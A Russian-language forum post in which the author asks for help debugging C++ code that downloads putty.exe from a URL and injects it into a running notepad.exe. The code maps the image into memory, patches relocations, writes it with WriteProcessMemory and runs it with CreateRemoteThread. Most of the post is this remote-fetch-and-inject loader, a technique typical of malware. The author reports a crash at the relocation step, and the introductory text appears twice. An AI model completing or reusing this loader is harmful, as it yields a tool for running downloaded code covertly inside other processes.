Всем привет, помогите с решением проблемы.
Я в C++ не эксперт и в процессе написания всего этого добра изучаю потихоньку.
Сам алгоритм я в целом понимаю и предполагаю что проблема именно в том, чтобы высчитать дельту и подгрузить необходимые dll. Сам софт который я хочу подкгрузить - putty.exe.
Вот код который сейчас есть:
Исключение сейчас получаю в этом месте:
Само исключение выглядит следующим образом
Exception thrown: read access violation.
patchedAddress was 0x2A589655A51.
Процесс в который я пытаюсь внедрить - notepad.exe. PID указываю в этом месте (в дальнейщем планирую автоматически получать) -
Дайте наводку куда смотреть и копать)
Я в C++ не эксперт и в процессе написания всего этого добра изучаю потихоньку.
Сам алгоритм я в целом понимаю и предполагаю что проблема именно в том, чтобы высчитать дельту и подгрузить необходимые dll. Сам софт который я хочу подкгрузить - putty.exe.
Вот код который сейчас есть:
C++:
#include <stdio.h>
#include <Windows.h>
#include <wininet.h>
#include <psapi.h>
#include <iostream>
#include <fstream>
#include <vector>
#pragma comment(lib, "wininet.lib")
typedef struct BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;
DWORD ExecuteInMemory(PVOID imageBase) {
int(*EntryPoint)() = (int(*)())((DWORD_PTR)imageBase + ((PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + ((PIMAGE_DOS_HEADER)imageBase)->e_lfanew))->OptionalHeader.AddressOfEntryPoint);
return EntryPoint();
}
DWORD InjectionEntryPoint()
{
CHAR moduleName[128] = "";
GetModuleFileNameA(NULL, moduleName, sizeof(moduleName));
MessageBoxA(NULL, moduleName, "Obligatory PE Injection", NULL);
return 0;
}
bool DownloadFileFromURL(const wchar_t* url, std::vector<char>& buffer) {
HINTERNET hInternet = InternetOpen(L"Downloader", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (!hInternet) {
std::cerr << "Failed to open internet." << std::endl;
return false;
}
HINTERNET hFile = InternetOpenUrl(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (!hFile) {
std::cerr << "Failed to open URL." << std::endl;
InternetCloseHandle(hInternet);
return false;
}
char tempBuffer[4096];
DWORD bytesRead;
while (InternetReadFile(hFile, tempBuffer, sizeof(tempBuffer), &bytesRead) && bytesRead > 0) {
buffer.insert(buffer.end(), tempBuffer, tempBuffer + bytesRead);
}
InternetCloseHandle(hFile);
InternetCloseHandle(hInternet);
return true;
}
int main()
{
const wchar_t* url = L"https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe";
std::vector<char> buffer;
DownloadFileFromURL(url, buffer);
if (buffer.empty()) {
std::cerr << "Buffer is empty!" << std::endl;
return 1;
}
PVOID imageBase = buffer.data();
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageBase;
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
std::cerr << "Not a valid PE file!" << std::endl;
return 1;
}
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + dosHeader->e_lfanew);
if (ntHeader->Signature != IMAGE_NT_SIGNATURE) {
std::cerr << "Not a valid NT header!" << std::endl;
return 1;
}
std::cout << "Entry point address: " << std::hex << (DWORD_PTR)imageBase + ntHeader->OptionalHeader.AddressOfEntryPoint << std::endl;
PVOID localImage = VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_READWRITE);
if (localImage == NULL) {
std::cerr << "VirtualAlloc failed: " << GetLastError() << std::endl;
return 1;
}
memcpy(localImage, imageBase, ntHeader->OptionalHeader.SizeOfImage);
// Open the target process - this is process we will be injecting this PE into
HANDLE targetProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, 13408);
if (targetProcess == NULL) {
std::cerr << "OpenProcess failed: " << GetLastError() << std::endl;
VirtualFree(localImage, 0, MEM_RELEASE);
return 1;
}
// Allocate a new memory block in the target process. This is where we will be injecting this PE
PVOID targetImage = VirtualAllocEx(targetProcess, NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (targetImage == NULL) {
std::cerr << "VirtualAllocEx failed: " << GetLastError() << std::endl;
CloseHandle(targetProcess);
VirtualFree(localImage, 0, MEM_RELEASE);
return 1;
}
DWORD_PTR deltaImageBase = (DWORD_PTR)targetImage - (DWORD_PTR)imageBase;
PIMAGE_BASE_RELOCATION relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)localImage + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
DWORD relocationEntriesCount = 0;
PDWORD_PTR patchedAddress;
PBASE_RELOCATION_ENTRY relocationRVA = NULL;
while (relocationTable->SizeOfBlock > 0)
{
relocationEntriesCount = (relocationTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT);
relocationRVA = (PBASE_RELOCATION_ENTRY)(relocationTable + 1);
for (short i = 0; i < relocationEntriesCount; i++)
{
if (relocationRVA[i].Offset)
{
patchedAddress = (PDWORD_PTR)((DWORD_PTR)localImage + relocationTable->VirtualAddress + relocationRVA[i].Offset);
*patchedAddress += deltaImageBase;
}
}
relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationTable + relocationTable->SizeOfBlock);
}
if (!WriteProcessMemory(targetProcess, targetImage, localImage, ntHeader->OptionalHeader.SizeOfImage, NULL)) {
std::cerr << "WriteProcessMemory failed: " << GetLastError() << std::endl;
VirtualFreeEx(targetProcess, targetImage, 0, MEM_RELEASE);
CloseHandle(targetProcess);
VirtualFree(localImage, 0, MEM_RELEASE);
return 1;
}
HANDLE remoteThread = CreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD_PTR)targetImage + ntHeader->OptionalHeader.AddressOfEntryPoint), NULL, 0, NULL);
if (remoteThread == NULL) {
std::cerr << "CreateRemoteThread failed: " << GetLastError() << std::endl;
VirtualFreeEx(targetProcess, targetImage, 0, MEM_RELEASE);
CloseHandle(targetProcess);
VirtualFree(localImage, 0, MEM_RELEASE);
return 1;
}
WaitForSingleObject(remoteThread, INFINITE);
CloseHandle(remoteThread);
CloseHandle(targetProcess);
VirtualFree(localImage, 0, MEM_RELEASE);
std::cout << "PE file successfully injected." << std::endl;
return 0;
}
Исключение сейчас получаю в этом месте:
C++:
*patchedAddress += deltaImageBase;
Exception thrown: read access violation.
patchedAddress was 0x2A589655A51.
Процесс в который я пытаюсь внедрить - notepad.exe. PID указываю в этом месте (в дальнейщем планирую автоматически получать) -
C++:
HANDLE targetProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, 3676);